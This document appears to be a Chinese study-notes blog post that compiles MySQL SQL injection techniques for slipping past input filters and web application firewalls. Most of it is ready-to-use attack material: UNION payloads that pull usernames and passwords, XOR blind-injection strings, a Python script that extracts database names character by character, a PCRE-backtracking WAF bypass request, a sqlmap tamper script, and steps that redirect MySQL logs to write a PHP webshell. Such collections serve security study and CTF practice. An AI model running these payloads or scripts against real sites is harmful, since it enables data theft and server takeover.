前言

复习sql注入时查询网上的一些资料,发现良莠不齐,于是对网上的大部分sql注入绕过技巧进行总结,仅用于个人学习。


输出过滤

对输出的回显过滤,一般比较少见,可以用盲注的方法,也可以用:

  • 编码函数:TO_BASE64()HEX()URLENCODE() 等进行绕过
  • 替换函数:REPLACE(str, from_str, to_str) 嵌套进行绕过
  • INTO OUTFILE 'filename' 绕过
    • secure_file_priv 值为空
    • 知道导出文件的完整路径(Linux通常是:/var/www/html/
    • 都能写shell了还绕什么

对符号过滤的绕过

对数字字母过滤的绕过

  • ture
  • false
  • pi()
  • version()
  • floor()
  • ceil()

对空格过滤的绕过

1
%09

用URL 编码表示的制表符 (Tab)。

1
%0a

用URL 编码表示的换行符 (LF)。

1
%0b

用URL 编码表示的垂直制表符。

1
%0c

用URL 编码表示的换页符。

1
%0d

用URL 编码表示的回车符 (CR)。

1
%a0

用URL 编码表示的非断行空格 (Non-breaking Space)。

1
%00

用URL 编码表示的 NULL 字符。

1
+

SQL中支持+代替空格。

1
/**/

SQL 中的多行注释。

1
/*!*/

SQL中 的内联注释符。

eg:

1
/*!SELECT*/VERSION();

1
()

用于SQL函数调用或子查询。

payload:

1
-1'Union(Select(id),(username),(password)from(user)where(username)='admin')%23

对引号过滤的绕过

16进制编码

SQL查询

1
select * from user where username="Admin"

16 进制编码字符

1
select * from user where username=0x41646d696e

ASCII编码

SQL查询

1
select * from user where username="Admin"

ASCII编码字符结合char()concat()

1
select * from user where username=concat(char(65),char(100),char(109),char(105),char(110))

hex()与unhex()

1
2
select id from table1 where id=unhex(hex(12850));
select id from table1 where id regexp unhex(hex(12850));

22的hex为0x3232

0x3232的十进制为12850


对逗号过滤的绕过

limit()

1
2
3
select * from test where id=1 limit 1,2; 
select * from test where id=1 limit 2 OFFSET 1;
select * from test where id=1 limit 2 FROM 1;

substr()、substring()、mid()

1
2
3
4
5
6
7
8
9
substr(string, start, length)
substr(string FROM start FOR length)

substring(string, start, length)
substring(string FROM start FOR length)

mid(string, start, length)
mid(string FROM start FOR length)

JOIN

1
2
union select 1,2
union select * from (select 1)a join (select 2)b

对<>=过滤的绕过

strcmp()

1
strcmp(value1,value2)

value1小于value2,返回 -1,其它情况返回 1。

greatest()

1
GREATEST(value1, value2, ..., valueN)

返回多个参数中的最大值。

least()

1
LEAST(value1, value2, ..., valueN)

返回多个参数中的最小值。

BETWEEN … AND …

1
2
value BETWEEN lower_bound AND upper_bound
value BETWEEN 65 AND 65 -- =65

in

直接看示例

1
substr(username,1,1) in ('A')

LIKE\RLIKE\REGEXP

LIKE可以通过将数字隐式转换成字符,再和特定的字符比较,适合支持将数字隐式转换为字符串

1
value LIKE '65'

RLIKE(mysql特有)\REGEXP适合匹配字符,支持正则表达式,可以实现更复杂的匹配需求。

组合

1
2
3
GREATEST(value, 65) BETWEEN 65 AND 65 -- value<=65
LEAST(value, 65) BETWEEN 65 AND 65 -- value>=65
LEAST(value, 65) LIKE '65'

对注释符号过滤的绕过

  • --%20
  • %23
  • ;00

也可以直接闭合注入点。


字符编码转换绕过

宽字节注入

GB2312的高位范围是0xA1-0xF7,低位范围是0xA1-0xFE,而字符\的编码为0x5C,未在GB2312的低位范围内,所以GB2312无法识别\字符,从而避免了宽字节注入的问题。

GBK的低位范围包含更多字符,因此可以构造出含有\的编码,从而可能导致宽字节注入。

payload:

1
?id=1 %df' union select

原理:

1
2
%df%27===>(addslashes)====>%df%5c%27====>(GBK)====>運'
用户输入==>过滤函数==>代码层的$sql==>mysql处理请求==>mysql中的sql

修复宽字节注入时,使用addslashes在GBK编码下并不行。可以使用mysql_real_escape_string

具体细节参考宽字节注入深度讲解

截图


利用latin1字符集绕过

ISO-8859-1(又称为 Latin-1)是一种字符编码标准,用于表示西欧和美洲的字符。

MySQL遇到无法正确转换为utf8的字符时,通常会直接忽略。

payload:

1
?username=admin%c2

存储时%c2部分被忽略,实际存储的值变为admin。(%c2可以换为%c2-%ef

MySQL配置严格模式(如sql_mode设置STRICT_TRANS_TABLES)的情况下在字符转换失败时会报错误。


对关键字过滤的绕过

对布尔运算符过滤的绕过

and可以使用&&替换,也可以用:

id=1=(condition)等价于id=1 and condition

or可以用||替换。

not可以!替换。

xor在两边取值为布尔值(或1&0)时可以被^替换。


异或注入

数据库

1
id=2'^!(SELECT(ASCII(MID((SELECT(GROUP_CONCAT(schema_name))FROM(information_schema.schemata)),1,1))=104))^'1'='1

数据表

1
id=2'^!(SELECT(ASCII(MID((SELECT(GROUP_CONCAT(table_name))FROM(information_schema.tables)WHERE(table_schema='ctf')),1,1))=104))^'1'='1

字段

1
id=2'^!(SELECT(ASCII(MID((SELECT(GROUP_CONCAT(column_name))FROM(information_schema.columns)WHERE(table_name='table_1')),1,1))=104))^'1'='1

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests

#文字转ascii ord()
#ascii转文字 ascii()

dic = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_,"
url = "http://test_url/?id=2'^"
keyword = "keyword"
string = ""

for i in range(1, 300):
for j in dic:
payload = "!(SELECT(ASCII(MID((SELECT(GROUP_CONCAT(schema_name))FROM(information_schema.schemata)),{0},1))={1}))^'1'='1".format(str(i),ord(j))
url_get = url + payload
print(url_get)
content = requests.get(url_get)
if keyword in content.text:
string += j
print(string)
break
print("result = " + string)

对where过滤的绕过

使用 GROUP BY+HAVING 替代 WHERE

可以用 GROUP BY 结合 HAVING 子句来实现与 WHERE 相似的功能。like或引号被过滤可以使用regexp。

1
SELECT value FROM table1 GROUP BY value HAVING value LIKE 'flag%';
1
SELECT value FROM table1 GROUP BY value HAVING (BINARY substr(value,1,5)) regexp(0x666c6167);

使用JOIN替代WHERE

1
SELECT a.value FROM table1 a JOIN table1 b ON a.value like 'flag%';
1
SELECT a.value FROM table1 a JOIN table1 b ON (BINARY substr(a.value,1,5) regexp(0x666c6167));

对like过滤的绕过

使用regexp注入,见对where过滤的绕过


对select过滤的绕过

使用table绕过,mysql8.0新特性。


利用PCRE非贪婪匹配机制漏洞绕过

这个本质上是网站WAF中使用的PCRE非贪婪匹配机制导致的漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
import time

url = "http://target.com/testpoint"

payload = "union/*" + "a" * 1000001 + "*/select"

params = {
"username": payload
}

start_time = time.time()

response = requests.get(url, params=params, timeout=10)

具可以体参考这篇文章:PHP利用PCRE回溯次数限制绕过某些安全限制


对information_schema过滤的绕过

InnoDB 引擎表

  • mysql.innodb_table_stats: 存储 InnoDB 表的统计信息。
  • mysql.innodb_index_stats: 存储 InnoDB 索引的统计信息。
    这两个表会记录表和索引的信息,日志会定期更新。
  • MySQL 5.6 及以上版本
1
2
select distinct table_name from mysql.innodb_table_stats where database_name = database();
select distinct table_name from mysql.innodb_index_stats where database_name = database();

系统表

  • MySQL 5.7.9及以上版本
1
2
3
4
#通过表文件的存储路径获取表名
SELECT FILE FROM `sys`.`io_global_by_file_by_bytes` WHERE FILE REGEXP DATABASE();
SELECT FILE FROM `sys`.`io_global_by_file_by_latency` WHERE FILE REGEXP DATABASE();
SELECT FILE FROM `sys`.`x$io_global_by_file_by_bytes` WHERE FILE REGEXP DATABASE();

某些情况下sys 表可以替代 information_schema,提供更高效的查询性能。

可查字段

摘自Mysql 注入基础小结

  • schema
    • information_schema.COLUMNS -> TABLE_SCHEMA
    • information_schema.KEY_COLUMN_USAGE -> CONSTRAINT_SCHEMA, TABLE_SCHEMA, REFERENCED_TABLE_SCHEMA
    • information_schema.PARTITIONS -> TABLE_SCHEMA
    • information_schema.SCHEMATA -> SCHEMA_NAME
    • information_schema.STATISTICS -> TABLE_SCHEMA
    • information_schema.TABLES -> TABLE_SCHEMA
    • information_schema.TABLE_CONSTRAINTS -> CONSTRAINT_SCHEMA, TABLE_SCHEMA
    • mysql.INNODB_INDEX_STATS -> database_name
    • mysql.INNODB_TABLE_STATS -> database_name
  • table
    • information_schema.COLUMNS -> TABLE_NAME
    • information_schema.KEY_COLUMN_USAGE -> TABLE_NAME, REFERENCED_TABLE_NAME
    • information_schema.PARTITIONS -> TABLE_NAME
    • information_schema.STATISTICS -> TABLE_NAME
    • information_schema.TABLES -> TABLE_NAME
    • information_schema.TABLE_CONSTRAINTS -> TABLE_NAME
    • mysql.INNODB_INDEX_STATS -> table_name
    • mysql.INNODB_TABLE_STATS -> table_name
  • column
    • information_schema.COLUMNS -> COLUMN_NAME
    • information_schema.KEY_COLUMN_USAGE -> COLUMN_NAME, REFERENCED_COLUMN_NAME
    • information_schema.STATISTICS -> COLUMN_NAME

可以用select distinct限制一样的条目。


参考SQL注入:限制条件下获取表名、无列名注入


对函数过滤的绕过

对敏感函数过滤的常见绕过

  • 大小写绕过
  • 双写绕过
  • 注释符绕过
  • 内联注释绕过
  • 编码绕过

等价替代函数

SLEEP() benchmark(count, expr), get_lock(str, timeout),笛卡尔积
CONCAT_WS() GROUP_CONCAT()
MID(),SUBSTR() SUBSTRING()
@@user USER(),SESSION_USER(),CURRENT_USER(),SYSTEM_USER()
@@datadir DATADIR()
database() schema()
ASCII(str) ORD(str)
HEX(),BIN(),OCT() CONV(N,from,to)
@@VERSION,@@GLOBAL.VERSION version()

笛卡尔积的使用

笛卡尔积会导致延时,尤其是表很大时,适合用于sleepbenchmark被过滤时。

1
SELECT COUNT(*) FROM information_schema.tables CROSS JOIN information_schema.columns

benchmark()替换

eg:

1
benchmark(100000,md5(1))

getlock()测试

基于sqlmap的一个tamper。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env python

"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies():
pass

def tamper(payload, **kwargs):
"""
Replaces instances like 'SLEEP(A)' with "get_lock('do9gy',A)"

Requirement:
* MySQL

Tested against:
* MySQL 5.0 and 5.5

Notes:
* Useful to bypass very weak and bespoke web application firewalls
that filter the SLEEP() and BENCHMARK() functions

>>> tamper('SLEEP(2)')
"get_lock('do9gy',2)"
"""

if payload and payload.find("SLEEP") > -1:
while payload.find("SLEEP(") > -1:
index = payload.find("SLEEP(")
depth = 1

num = payload[index+6]


newVal = "get_lock('do9gy',%s)" % (num)
payload = payload[:index] + newVal + payload[index+8:]


return payload

对if()的绕过

利用case语句绕过

1
case when condition then 1 else 0 end

利用locate()函数绕过

1
locate(substr(user(),1,1),'a')

利用and绕过

1
condition and sleep(1);

利用MAKE_SET()绕过

1
MAKE_SET((LENGTH(DATABASE())=4),sleep(1),1);

利用ELT(N,str1,str2,str3,...)绕过

返回第 N 个字符串内容。

1
ELT((LENGTH(DATABASE())=3),sleep(3));

对secure_file_priv限制的绕过

通过查询日志getsell

请求日志(默认OFF)

设置slow_query_log=1 启用慢查询日志

1
set global slow_query_log=1;

修改slow_query_log_file日志文件的绝对路径与文件名

1
set global slow_query_log_file='/path/shell.php'

慢查询日志(默认OFF)

开启查询日志

1
set global general_log='ON'

设置操作记录日志路径

1
set global general_log_file='/path/shell.php'

无列名注入

子查询利用union改列名

1
select `3` from (select 1,2,3 union select * from table3)c;

order by比较盲注

1
select * from admin where username='admin' or 1 union select 1,2,binary '字符串' order by 3;

在第三个字符串不回显的情况下,通过order by比较,通过其他参数回显的变化判断。

报错注入中利用join+using注列名

见报错注入


参考